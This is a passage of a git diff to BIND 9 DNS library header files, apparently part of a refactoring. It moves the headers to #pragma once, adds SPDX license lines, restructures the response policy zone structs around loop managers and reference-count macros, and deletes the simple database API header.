-#define DNS_R_REMOTEFORMERR	(ISC_RESULTCLASS_DNS + 86)
-#define DNS_R_TRUNCATEDTCP	(ISC_RESULTCLASS_DNS + 87)
-#define DNS_R_LAME		(ISC_RESULTCLASS_DNS + 88)
-#define DNS_R_UNEXPECTEDRCODE	(ISC_RESULTCLASS_DNS + 89)
-#define DNS_R_UNEXPECTEDOPCODE	(ISC_RESULTCLASS_DNS + 90)
-#define DNS_R_CHASEDSSERVERS	(ISC_RESULTCLASS_DNS + 91)
-#define DNS_R_EMPTYNAME		(ISC_RESULTCLASS_DNS + 92)
-#define DNS_R_EMPTYWILD		(ISC_RESULTCLASS_DNS + 93)
-#define DNS_R_BADBITMAP		(ISC_RESULTCLASS_DNS + 94)
-#define DNS_R_FROMWILDCARD	(ISC_RESULTCLASS_DNS + 95)
-#define DNS_R_BADOWNERNAME	(ISC_RESULTCLASS_DNS + 96)
-#define DNS_R_BADNAME		(ISC_RESULTCLASS_DNS + 97)
-#define DNS_R_DYNAMIC		(ISC_RESULTCLASS_DNS + 98)
-#define DNS_R_UNKNOWNCOMMAND	(ISC_RESULTCLASS_DNS + 99)
-#define DNS_R_MUSTBESECURE	(ISC_RESULTCLASS_DNS + 100)
-#define DNS_R_COVERINGNSEC	(ISC_RESULTCLASS_DNS + 101)
-#define DNS_R_MXISADDRESS	(ISC_RESULTCLASS_DNS + 102)
-#define DNS_R_DUPLICATE		(ISC_RESULTCLASS_DNS + 103)
-#define DNS_R_INVALIDNSEC3	(ISC_RESULTCLASS_DNS + 104)
-#define DNS_R_NOTMASTER		(ISC_RESULTCLASS_DNS + 105)
-#define DNS_R_BROKENCHAIN	(ISC_RESULTCLASS_DNS + 106)
-#define DNS_R_EXPIRED		(ISC_RESULTCLASS_DNS + 107)
-#define DNS_R_NOTDYNAMIC	(ISC_RESULTCLASS_DNS + 108)
-#define DNS_R_BADEUI		(ISC_RESULTCLASS_DNS + 109)
-#define DNS_R_NTACOVERED	(ISC_RESULTCLASS_DNS + 110)
-#define DNS_R_BADCDS		(ISC_RESULTCLASS_DNS + 111)
-#define DNS_R_BADCDNSKEY	(ISC_RESULTCLASS_DNS + 112)
-#define DNS_R_OPTERR		(ISC_RESULTCLASS_DNS + 113)
-#define DNS_R_BADDNSTAP		(ISC_RESULTCLASS_DNS + 114)
-#define DNS_R_BADTSIG		(ISC_RESULTCLASS_DNS + 115)
-#define DNS_R_BADSIG0		(ISC_RESULTCLASS_DNS + 116)
-#define DNS_R_TOOMANYRECORDS	(ISC_RESULTCLASS_DNS + 117)
-#define DNS_R_VERIFYFAILURE	(ISC_RESULTCLASS_DNS + 118)
-#define DNS_R_ATZONETOP		(ISC_RESULTCLASS_DNS + 119)
-#define DNS_R_NOKEYMATCH	(ISC_RESULTCLASS_DNS + 120)
-#define DNS_R_TOOMANYKEYS	(ISC_RESULTCLASS_DNS + 121)
-#define DNS_R_KEYNOTACTIVE	(ISC_RESULTCLASS_DNS + 122)
-#define DNS_R_NSEC3ITERRANGE	(ISC_RESULTCLASS_DNS + 123)
-#define DNS_R_NSEC3SALTRANGE	(ISC_RESULTCLASS_DNS + 124)
-#define DNS_R_NSEC3BADALG	(ISC_RESULTCLASS_DNS + 125)
-#define DNS_R_NSEC3RESALT	(ISC_RESULTCLASS_DNS + 126)
-
-#define DNS_R_NRESULTS 127 /*%< Number of results */
-
-/*
- * DNS wire format rcodes.
- *
- * By making these their own class we can easily convert them into the
- * wire-format rcode value simply by masking off the resultclass.
- */
-#define DNS_R_NOERROR  (ISC_RESULTCLASS_DNSRCODE + 0)
-#define DNS_R_FORMERR  (ISC_RESULTCLASS_DNSRCODE + 1)
-#define DNS_R_SERVFAIL (ISC_RESULTCLASS_DNSRCODE + 2)
-#define DNS_R_NXDOMAIN (ISC_RESULTCLASS_DNSRCODE + 3)
-#define DNS_R_NOTIMP   (ISC_RESULTCLASS_DNSRCODE + 4)
-#define DNS_R_REFUSED  (ISC_RESULTCLASS_DNSRCODE + 5)
-#define DNS_R_YXDOMAIN (ISC_RESULTCLASS_DNSRCODE + 6)
-#define DNS_R_YXRRSET  (ISC_RESULTCLASS_DNSRCODE + 7)
-#define DNS_R_NXRRSET  (ISC_RESULTCLASS_DNSRCODE + 8)
-#define DNS_R_NOTAUTH  (ISC_RESULTCLASS_DNSRCODE + 9)
-#define DNS_R_NOTZONE  (ISC_RESULTCLASS_DNSRCODE + 10)
-#define DNS_R_RCODE11  (ISC_RESULTCLASS_DNSRCODE + 11)
-#define DNS_R_RCODE12  (ISC_RESULTCLASS_DNSRCODE + 12)
-#define DNS_R_RCODE13  (ISC_RESULTCLASS_DNSRCODE + 13)
-#define DNS_R_RCODE14  (ISC_RESULTCLASS_DNSRCODE + 14)
-#define DNS_R_RCODE15  (ISC_RESULTCLASS_DNSRCODE + 15)
-#define DNS_R_BADVERS  (ISC_RESULTCLASS_DNSRCODE + 16)
-
-#define DNS_R_NRCODERESULTS 17 /*%< Number of rcode results */
-
-#define DNS_RESULT_ISRCODE(result) \
-	(ISC_RESULTCLASS_INCLASS(ISC_RESULTCLASS_DNSRCODE, (result)))
-
 ISC_LANG_BEGINDECLS
 
-const char *dns_result_totext(isc_result_t);
-
-void
-dns_result_register(void);
-
 dns_rcode_t
 dns_result_torcode(isc_result_t result);
 
-ISC_LANG_ENDDECLS
+isc_result_t
+dns_result_fromrcode(dns_rcode_t rcode);
 
-#endif /* DNS_RESULT_H */
+ISC_LANG_ENDDECLS
diff --git a/lib/dns/include/dns/rootns.h b/lib/dns/include/dns/rootns.h
index 0452ec197c..d7740f78c9 100644
--- a/lib/dns/include/dns/rootns.h
+++ b/lib/dns/include/dns/rootns.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_ROOTNS_H
-#define DNS_ROOTNS_H 1
+#pragma once
 
 /*! \file dns/rootns.h */
 
@@ -33,5 +34,3 @@ dns_root_checkhints(dns_view_t *view, dns_db_t *hints, dns_db_t *db);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_ROOTNS_H */
diff --git a/lib/dns/include/dns/rpz.h b/lib/dns/include/dns/rpz.h
index 331b870dbf..af909d1b1d 100644
--- a/lib/dns/include/dns/rpz.h
+++ b/lib/dns/include/dns/rpz.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,14 +11,16 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_RPZ_H
-#define DNS_RPZ_H 1
+#pragma once
+
+/*
+ * Define this for reference count tracing in the unit
+ */
+#undef DNS_RPZ_TRACE
 
 #include <inttypes.h>
 #include <stdbool.h>
 
-#include <isc/deprecated.h>
-#include <isc/event.h>
 #include <isc/ht.h>
 #include <isc/lang.h>
 #include <isc/refcount.h>
@@ -96,10 +100,11 @@ typedef uint64_t dns_rpz_zbits_t;
  * Mask of the specified and higher numbered policy zones
  * Avoid hassles with (1<<33) or (1<<65)
  */
-#define DNS_RPZ_ZMASK(n)                                                     \
-	((dns_rpz_zbits_t)(                                                  \
-		(((n) >= DNS_RPZ_MAX_ZONES - 1) ? 0 : (1ULL << ((n) + 1))) - \
-		1))
+#define DNS_RPZ_ZMASK(n)                                     \
+	((dns_rpz_zbits_t)((((n) >= DNS_RPZ_MAX_ZONES - 1)   \
+				    ? 0                      \
+				    : (1ULL << ((n) + 1))) - \
+			   1))
 
 /*
  * The trigger counter type.
@@ -128,7 +133,9 @@ typedef struct dns_rpz_zone  dns_rpz_zone_t;
 typedef struct dns_rpz_zones dns_rpz_zones_t;
 
 struct dns_rpz_zone {
-	isc_refcount_t	 refs;
+	unsigned int magic;
+	isc_loop_t  *loop;
+
 	dns_rpz_num_t	 num;	    /* ordinal in list of policy zones */
 	dns_name_t	 origin;    /* Policy zone name */
 	dns_name_t	 client_ip; /* DNS_RPZ_CLIENT_IP_ZONE.origin. */
@@ -141,28 +148,24 @@ struct dns_rpz_zone {
 	dns_name_t	 cname;	    /* override value for ..._CNAME */
 	dns_ttl_t	 max_policy_ttl;
 	dns_rpz_policy_t policy; /* DNS_RPZ_POLICY_GIVEN or override */
-
-	uint32_t min_update_interval;	 /* minimal interval between
-					  * updates */
-	isc_ht_t *	 nodes;		 /* entries in zone */
-	dns_rpz_zones_t *rpzs;		 /* owner */
-	isc_time_t	 lastupdated;	 /* last time the zone was processed
-					  * */
-	bool updatepending;		 /* there is an update
-					  * pending/waiting */
-	bool		 updaterunning;	 /* there is an update running */
-	dns_db_t *	 db;		 /* zones database */
-	dns_dbversion_t *dbversion;	 /* version we will be updating to */
-	dns_db_t *	 updb;		 /* zones database we're working on */
-	dns_dbversion_t *updbversion;	 /* version we're currently working
-					  * on */
-	dns_dbiterator_t *updbit;	 /* iterator to use when updating */
-	isc_ht_t *	  newnodes;	 /* entries in zone being updated */
-	bool		  db_registered; /* is the notify event
-					  * registered? */
-	bool	     addsoa;		 /* add soa to the additional section */
+	uint16_t	 ede;	 /* Extended DNS Error */
+
+	uint32_t min_update_interval;	/* minimal interval between
+					 * updates */
+	isc_ht_t	*nodes;		/* entries in zone */
+	dns_rpz_zones_t *rpzs;		/* owner */
+	isc_time_t	 lastupdated;	/* last time the zone was processed
+					 * */
+	bool		 updatepending; /* there is an update pending */
+	bool		 updaterunning; /* there is an update running */
+	isc_result_t	 updateresult;	/* result from the offloaded work */
+	dns_db_t	*db;		/* zones database */
+	dns_dbversion_t *dbversion;	/* version we will be updating to */
+	dns_db_t	*updb;		/* zones database we're working on */
+	dns_dbversion_t *updbversion;	/* version we're currently working
+					 * on */
+	bool	     addsoa;		/* add soa to the additional section */
 	isc_timer_t *updatetimer;
-	isc_event_t  updateevent;
 };
 
 /*
@@ -212,8 +215,13 @@ struct dns_rpz_popt {
  * Response policy zones known to a view.
  */
 struct dns_rpz_zones {
+	unsigned int   magic;
+	isc_refcount_t references;
+	isc_mem_t     *mctx;
+	isc_loopmgr_t *loopmgr;
+
 	dns_rpz_popt_t	   p;
-	dns_rpz_zone_t *   zones[DNS_RPZ_MAX_ZONES];
+	dns_rpz_zone_t	  *zones[DNS_RPZ_MAX_ZONES];
 	dns_rpz_triggers_t triggers[DNS_RPZ_MAX_ZONES];
 
 	/*
@@ -249,12 +257,6 @@ struct dns_rpz_zones {
 	 */
 	dns_rpz_triggers_t total_triggers;
 
-	isc_mem_t *	mctx;
-	isc_taskmgr_t * taskmgr;
-	isc_timermgr_t *timermgr;
-	isc_task_t *	updater;
-	isc_refcount_t	refs;
-	isc_refcount_t	irefs;
 	/*
 	 * One lock for short term read-only search that guarantees the
 	 * consistency of the pointers.
@@ -264,13 +266,15 @@ struct dns_rpz_zones {
 	isc_rwlock_t search_lock;
 	isc_mutex_t  maint_lock;
 
+	bool shuttingdown;
+
 	dns_rpz_cidr_node_t *cidr;
-	dns_rbt_t *	     rbt;
+	dns_rbt_t	    *rbt;
 
 	/*
 	 * DNSRPZ librpz configuration string and handle on librpz connection
 	 */
-	char *		      rps_cstr;
+	char		     *rps_cstr;
 	size_t		      rps_cstr_size;
 	struct librpz_client *rps_client;
 };
@@ -293,23 +297,23 @@ typedef struct {
 	 */
 	struct {
 		dns_rpz_type_t	 type;
-		dns_rpz_zone_t * rpz;
+		dns_rpz_zone_t	*rpz;
 		dns_rpz_prefix_t prefix;
 		dns_rpz_policy_t policy;
 		dns_ttl_t	 ttl;
 		isc_result_t	 result;
-		dns_zone_t *	 zone;
-		dns_db_t *	 db;
+		dns_zone_t	*zone;
+		dns_db_t	*db;
 		dns_dbversion_t *version;
-		dns_dbnode_t *	 node;
-		dns_rdataset_t * rdataset;
+		dns_dbnode_t	*node;
+		dns_rdataset_t	*rdataset;
 	} m;
 	/*
 	 * State for chasing IP addresses and NS names including recursion.
 	 */
 	struct {
 		unsigned int	label;
-		dns_db_t *	db;
+		dns_db_t       *db;
 		dns_rdataset_t *ns_rdataset;
 		dns_rdatatype_t r_type;
 		isc_result_t	r_result;
@@ -323,9 +327,9 @@ typedef struct {
 		isc_result_t	result;
 		bool		is_zone;
 		bool		authoritative;
-		dns_zone_t *	zone;
-		dns_db_t *	db;
-		dns_dbnode_t *	node;
+		dns_zone_t     *zone;
+		dns_db_t       *db;
+		dns_dbnode_t   *node;
 		dns_rdataset_t *rdataset;
 		dns_rdataset_t *sigrdataset;
 		dns_rdatatype_t qtype;
@@ -351,9 +355,9 @@ typedef struct {
 	 * r_name: recursing for this name to possible policy triggers
 	 * f_name: saved found name from before recursion
 	 */
-	dns_name_t *	p_name;
-	dns_name_t *	r_name;
-	dns_name_t *	fname;
+	dns_name_t     *p_name;
+	dns_name_t     *r_name;
+	dns_name_t     *fname;
 	dns_fixedname_t _p_namef;
 	dns_fixedname_t _r_namef;
 	dns_fixedname_t _fnamef;
@@ -382,42 +386,54 @@ dns_rpz_str2policy(const char *str);
 const char *
 dns_rpz_policy2str(dns_rpz_policy_t policy);
 
+uint16_t
+dns_rpz_str2ede(const char *str);
+
 dns_rpz_policy_t
 dns_rpz_decode_cname(dns_rpz_zone_t *rpz, dns_rdataset_t *rdataset,
 		     dns_name_t *selfname);
 
 isc_result_t
-dns_rpz_new_zones(dns_rpz_zones_t **rpzsp, char *rps_cstr, size_t rps_cstr_size,
-		  isc_mem_t *mctx, isc_taskmgr_t *taskmgr,
-		  isc_timermgr_t *timermgr);
+dns_rpz_new_zones(isc_mem_t *mctx, isc_loopmgr_t *loopmgr, char *rps_cstr,
+		  size_t rps_cstr_size, dns_rpz_zones_t **rpzsp);
 
 isc_result_t
 dns_rpz_new_zone(dns_rpz_zones_t *rpzs, dns_rpz_zone_t **rpzp);
 
 isc_result_t
 dns_rpz_dbupdate_callback(dns_db_t *db, void *fn_arg);
-
 void
-dns_rpz_attach_rpzs(dns_rpz_zones_t *source, dns_rpz_zones_t **target);
-
+dns_rpz_dbupdate_unregister(dns_db_t *db, dns_rpz_zone_t *rpz);
 void
-dns_rpz_detach_rpzs(dns_rpz_zones_t **rpzsp);
-
-isc_result_t
-dns_rpz_beginload(dns_rpz_zones_t **load_rpzsp, dns_rpz_zones_t *rpzs,
-		  dns_rpz_num_t rpz_num) ISC_DEPRECATED;
-
-isc_result_t
-dns_rpz_ready(dns_rpz_zones_t *rpzs, dns_rpz_zones_t **load_rpzsp,
-	      dns_rpz_num_t rpz_num) ISC_DEPRECATED;
-
-isc_result_t
-dns_rpz_add(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num,
-	    const dns_name_t *name);
+dns_rpz_dbupdate_register(dns_db_t *db, dns_rpz_zone_t *rpz);
 
 void
-dns_rpz_delete(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num,
-	       const dns_name_t *name);
+dns_rpz_zones_shutdown(dns_rpz_zones_t *rpzs);
+
+#ifdef DNS_RPZ_TRACE
+/* Compatibility macros */
+#define dns_rpz_detach_rpzs(rpzsp) \
+	dns_rpz_zones__detach(rpzsp, __func__, __FILE__, __LINE__)
+#define dns_rpz_attach_rpzs(rpzs, rpzsp) \
+	dns_rpz_zones__attach(rpzs, rpzsp, __func__, __FILE__, __LINE__)
+#define dns_rpz_ref_rpzs(ptr) \
+	dns_rpz_zones__ref(ptr, __func__, __FILE__, __LINE__)
+#define dns_rpz_unref_rpzs(ptr) \
+	dns_rpz_zones__unref(ptr, __func__, __FILE__, __LINE__)
+#define dns_rpz_shutdown_rpzs(rpzs) \
+	dns_rpz_zones_shutdown(rpzs, __func__, __FILE__, __LINE__)
+
+ISC_REFCOUNT_TRACE_DECL(dns_rpz_zones);
+#else
+/* Compatibility macros */
+#define dns_rpz_detach_rpzs(rpzsp)	 dns_rpz_zones_detach(rpzsp)
+#define dns_rpz_attach_rpzs(rpzs, rpzsp) dns_rpz_zones_attach(rpzs, rpzsp)
+#define dns_rpz_shutdown_rpzs(rpzsp)	 dns_rpz_zones_shutdown(rpzsp)
+#define dns_rpz_ref_rpzs(ptr)		 dns_rpz_zones_ref(ptr)
+#define dns_rpz_unref_rpzs(ptr)		 dns_rpz_zones_unref(ptr)
+
+ISC_REFCOUNT_DECL(dns_rpz_zones);
+#endif
 
 dns_rpz_num_t
 dns_rpz_find_ip(dns_rpz_zones_t *rpzs, dns_rpz_type_t rpz_type,
@@ -429,5 +445,3 @@ dns_rpz_find_name(dns_rpz_zones_t *rpzs, dns_rpz_type_t rpz_type,
 		  dns_rpz_zbits_t zbits, dns_name_t *trig_name);
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_RPZ_H */
diff --git a/lib/dns/include/dns/rriterator.h b/lib/dns/include/dns/rriterator.h
index ad4b98dcae..a1cd9b932a 100644
--- a/lib/dns/include/dns/rriterator.h
+++ b/lib/dns/include/dns/rriterator.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_RRITERATOR_H
-#define DNS_RRITERATOR_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -54,11 +55,11 @@ ISC_LANG_BEGINDECLS
 typedef struct dns_rriterator {
 	unsigned int	    magic;
 	isc_result_t	    result;
-	dns_db_t *	    db;
-	dns_dbiterator_t *  dbit;
-	dns_dbversion_t *   ver;
+	dns_db_t	   *db;
+	dns_dbiterator_t   *dbit;
+	dns_dbversion_t	   *ver;
 	isc_stdtime_t	    now;
-	dns_dbnode_t *	    node;
+	dns_dbnode_t	   *node;
 	dns_fixedname_t	    fixedname;
 	dns_rdatasetiter_t *rdatasetit;
 	dns_rdataset_t	    rdataset;
@@ -176,5 +177,3 @@ dns_rriterator_destroy(dns_rriterator_t *it);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_RRITERATOR_H */
diff --git a/lib/dns/include/dns/rrl.h b/lib/dns/include/dns/rrl.h
index c1ebe44353..bdffed99ac 100644
--- a/lib/dns/include/dns/rrl.h
+++ b/lib/dns/include/dns/rrl.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_RRL_H
-#define DNS_RRL_H 1
+#pragma once
 
 /*
  * Rate limit DNS responses.
@@ -197,7 +198,7 @@ struct dns_rrl_rate {
 typedef struct dns_rrl dns_rrl_t;
 struct dns_rrl {
 	isc_mutex_t lock;
-	isc_mem_t * mctx;
+	isc_mem_t  *mctx;
 
 	bool	       log_only;
 	dns_rrl_rate_t responses_per_second;
@@ -254,8 +255,8 @@ typedef enum {
 } dns_rrl_result_t;
 
 dns_rrl_result_t
-dns_rrl(dns_view_t *view, const isc_sockaddr_t *client_addr, bool is_tcp,
-	dns_rdataclass_t rdclass, dns_rdatatype_t qtype,
+dns_rrl(dns_view_t *view, dns_zone_t *zone, const isc_sockaddr_t *client_addr,
+	bool is_tcp, dns_rdataclass_t rdclass, dns_rdatatype_t qtype,
 	const dns_name_t *qname, isc_result_t resp_result, isc_stdtime_t now,
 	bool wouldlog, char *log_buf, unsigned int log_buf_len);
 
@@ -266,5 +267,3 @@ isc_result_t
 dns_rrl_init(dns_rrl_t **rrlp, dns_view_t *view, int min_entries);
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_RRL_H */
diff --git a/lib/dns/include/dns/sdb.h b/lib/dns/include/dns/sdb.h
deleted file mode 100644
index 1d4210d5dc..0000000000
--- a/lib/dns/include/dns/sdb.h
+++ /dev/null
@@ -1,212 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef DNS_SDB_H
-#define DNS_SDB_H 1
-
-/*****
-***** Module Info
-*****/
-
-/*! \file dns/sdb.h
- * \brief
- * Simple database API.
- */
-
-/***
- *** Imports
- ***/
-
-#include <inttypes.h>
-
-#include <isc/lang.h>
-
-#include <dns/clientinfo.h>
-#include <dns/types.h>
-
-/***
- *** Types
- ***/
-
-/*%
- * A simple database.  This is an opaque type.
- */
-typedef struct dns_sdb dns_sdb_t;
-
-/*%
- * A simple database lookup in progress.  This is an opaque type.
- */
-typedef struct dns_sdblookup dns_sdblookup_t;
-
-/*%
- * A simple database traversal in progress.  This is an opaque type.
- */
-typedef struct dns_sdballnodes dns_sdballnodes_t;
-
-typedef isc_result_t (*dns_sdblookupfunc_t)(const char *zone, const char *name,
-					    void *		     dbdata,
-					    dns_sdblookup_t *	     lookup,
-					    dns_clientinfomethods_t *methods,
-					    dns_clientinfo_t *clientinfo);
-typedef isc_result_t (*dns_sdblookup2func_t)(const dns_name_t *	      zone,
-					     const dns_name_t *	      name,
-					     void *		      dbdata,
-					     dns_sdblookup_t *	      lookup,
-					     dns_clientinfomethods_t *methods,
-					     dns_clientinfo_t *clientinfo);
-
-typedef isc_result_t (*dns_sdbauthorityfunc_t)(const char *zone, void *dbdata,
-					       dns_sdblookup_t *);
-
-typedef isc_result_t (*dns_sdballnodesfunc_t)(const char *zone, void *dbdata,
-					      dns_sdballnodes_t *allnodes);
-
-typedef isc_result_t (*dns_sdbcreatefunc_t)(const char *zone, int argc,
-					    char **argv, void *driverdata,
-					    void **dbdata);
-
-typedef void (*dns_sdbdestroyfunc_t)(const char *zone, void *driverdata,
-				     void **dbdata);
-
-typedef struct dns_sdbmethods {
-	dns_sdblookupfunc_t    lookup;
-	dns_sdbauthorityfunc_t authority;
-	dns_sdballnodesfunc_t  allnodes;
-	dns_sdbcreatefunc_t    create;
-	dns_sdbdestroyfunc_t   destroy;
-	dns_sdblookup2func_t   lookup2;
-} dns_sdbmethods_t;
-
-/***
- *** Functions
- ***/
-
-ISC_LANG_BEGINDECLS
-
-#define DNS_SDBFLAG_RELATIVEOWNER 0x00000001U
-#define DNS_SDBFLAG_RELATIVERDATA 0x00000002U
-#define DNS_SDBFLAG_THREADSAFE	  0x00000004U
-#define DNS_SDBFLAG_DNS64	  0x00000008U
-
-isc_result_t
-dns_sdb_register(const char *drivername, const dns_sdbmethods_t *methods,
-		 void *driverdata, unsigned int flags, isc_mem_t *mctx,
-		 dns_sdbimplementation_t **sdbimp);
-/*%<
- * Register a simple database driver for the database type 'drivername',
- * implemented by the functions in '*methods'.
- *
- * sdbimp must point to a NULL dns_sdbimplementation_t pointer.  That is,
- * sdbimp != NULL && *sdbimp == NULL.  It will be assigned a value that
- * will later be used to identify the driver when deregistering it.
- *
- * The name server will perform lookups in the database by calling the
- * function 'lookup', passing it a printable zone name 'zone', a printable
- * domain name 'name', and a copy of the argument 'dbdata' that
- * was potentially returned by the create function.  The 'dns_sdblookup_t'
- * argument to 'lookup' and 'authority' is an opaque pointer to be passed to
- * ns_sdb_putrr().
- *
- * The lookup function returns the lookup results to the name server
- * by calling ns_sdb_putrr() once for each record found.  On success,
- * the return value of the lookup function should be ISC_R_SUCCESS.
- * If the domain name 'name' does not exist, the lookup function should
- * ISC_R_NOTFOUND.  Any other return value is treated as an error.
- *
- * Lookups at the zone apex will cause the server to also call the
- * function 'authority' (if non-NULL), which must provide an SOA record
- * and NS records for the zone by calling ns_sdb_putrr() once for each of
- * these records.  The 'authority' function may be NULL if invoking
- * the 'lookup' function on the zone apex will return SOA and NS records.
- *
- * The allnodes function, if non-NULL, fills in an opaque structure to be
- * used by a database iterator.  This allows the zone to be transferred.
- * This may use a considerable amount of memory for large zones, and the
- * zone transfer may not be fully RFC1035 compliant if the zone is
- * frequently changed.
- *
- * The create function will be called for each zone configured
- * into the name server using this database type.  It can be used
- * to create a "database object" containing zone specific data,
- * which can make use of the database arguments specified in the
- * name server configuration.
- *
- * The destroy function will be called to free the database object
- * when its zone is destroyed.
- *
- * The create and destroy functions may be NULL.
- *
- * If flags includes DNS_SDBFLAG_RELATIVEOWNER, the lookup and authority
- * functions will be called with relative names rather than absolute names.
- * The string "@" represents the zone apex in this case.
- *
- * If flags includes DNS_SDBFLAG_RELATIVERDATA, the rdata strings may
- * include relative names.  Otherwise, all names in the rdata string must
- * be absolute.  Be aware that if relative names are allowed, any
- * absolute names must contain a trailing dot.
- *
- * If flags includes DNS_SDBFLAG_THREADSAFE, the driver must be able to
- * handle multiple lookups in parallel.  Otherwise, calls into the driver
- * are serialized.
- */
-
-void
-dns_sdb_unregister(dns_sdbimplementation_t **sdbimp);
-/*%<
- * Removes the simple database driver from the list of registered database
- * types.  There must be no active databases of this type when this function
- * is called.
- */
-
-/*% See dns_sdb_putradata() */
-isc_result_t
-dns_sdb_putrr(dns_sdblookup_t *lookup, const char *type, dns_ttl_t ttl,
-	      const char *data);
-isc_result_t
-dns_sdb_putrdata(dns_sdblookup_t *lookup, dns_rdatatype_t type, dns_ttl_t ttl,
-		 const unsigned char *rdata, unsigned int rdlen);
-/*%<
- * Add a single resource record to the lookup structure to be
- * returned in the query response.  dns_sdb_putrr() takes the
- * resource record in master file text format as a null-terminated
- * string, and dns_sdb_putrdata() takes the raw RDATA in
- * uncompressed wire format.
- */
-
-/*% See dns_sdb_putnamerdata() */
-isc_result_t
-dns_sdb_putnamedrr(dns_sdballnodes_t *allnodes, const char *name,
-		   const char *type, dns_ttl_t ttl, const char *data);
-isc_result_t
-dns_sdb_putnamedrdata(dns_sdballnodes_t *allnodes, const char *name,
-		      dns_rdatatype_t type, dns_ttl_t ttl, const void *rdata,
-		      unsigned int rdlen);
-/*%<
- * Add a single resource record to the allnodes structure to be
- * included in a zone transfer response, in text or wire
- * format as above.
- */
-
-isc_result_t
-dns_sdb_putsoa(dns_sdblookup_t *lookup, const char *mname, const char *rname,
-	       uint32_t serial);
-/*%<
- * This function may optionally be called from the 'authority' callback
- * to simplify construction of the SOA record for 'zone'.  It will
- * provide a SOA listing 'mname' as as the master server and 'rname' as
- * the responsible person mailbox.  It is the responsibility of the
- * driver to increment the serial number between responses if necessary.
- * All other SOA fields will have reasonable default values.
- */
-
-ISC_LANG_ENDDECLS
-
-#endif /* DNS_SDB_H */
diff --git a/lib/dns/include/dns/sdlz.h b/lib/dns/include/dns/sdlz.h
index 115d5dc1d9..b0388b98cf 100644
--- a/lib/dns/include/dns/sdlz.h
+++ b/lib/dns/include/dns/sdlz.h
@@ -1,5 +1,7 @@
 /*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
@@ -46,8 +48,7 @@
 
 /*! \file dns/sdlz.h */
 
-#ifndef SDLZ_H
-#define SDLZ_H 1
+#pragma once
 
 #include <inttypes.h>
 #include <stdbool.h>
@@ -146,9 +147,9 @@ typedef void (*dns_sdlzdestroy_t)(void *driverarg, void *dbdata);
  */
 
 typedef isc_result_t (*dns_sdlzfindzone_t)(void *driverarg, void *dbdata,
-					   const char *		    name,
+					   const char		   *name,
 					   dns_clientinfomethods_t *methods,
-					   dns_clientinfo_t *	    clientinfo);
+					   dns_clientinfo_t	   *clientinfo);
 /*%<
  * Method prototype.  Drivers implementing the SDLZ interface MUST
  * supply a find zone method.  This method is called when the DNS
@@ -178,7 +179,7 @@ typedef isc_result_t (*dns_sdlzfindzone_t)(void *driverarg, void *dbdata,
 
 typedef isc_result_t (*dns_sdlzlookupfunc_t)(const char *zone, const char *name,
 					     void *driverarg, void *dbdata,
-					     dns_sdlzlookup_t *	      lookup,
+					     dns_sdlzlookup_t	     *lookup,
 					     dns_clientinfomethods_t *methods,
 					     dns_clientinfo_t *clientinfo);
 
@@ -221,7 +222,7 @@ typedef void (*dns_sdlzcloseversion_t)(const char *zone, bool commit,
  * If the call is successful then *versionp should be set to NULL
  */
 
-typedef isc_result_t (*dns_sdlzconfigure_t)(dns_view_t * view,
+typedef isc_result_t (*dns_sdlzconfigure_t)(dns_view_t	*view,
 					    dns_dlzdb_t *dlzdb, void *driverarg,
 					    void *dbdata);
 /*%<
@@ -337,7 +338,7 @@ dns_sdlz_putsoa_t dns_sdlz_putsoa;
 /*%<
  * This function may optionally be called from the 'authority'
  * callback to simplify construction of the SOA record for 'zone'.  It
- * will provide a SOA listing 'mname' as as the master server and
+ * will provide a SOA listing 'mname' as as the primary server and
  * 'rname' as the responsible person mailbox.  It is the
  * responsibility of the driver to increment the serial number between
  * responses if necessary.  All other SOA fields will have reasonable
@@ -353,5 +354,3 @@ dns_sdlz_setdb_t dns_sdlz_setdb;
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* SDLZ_H */
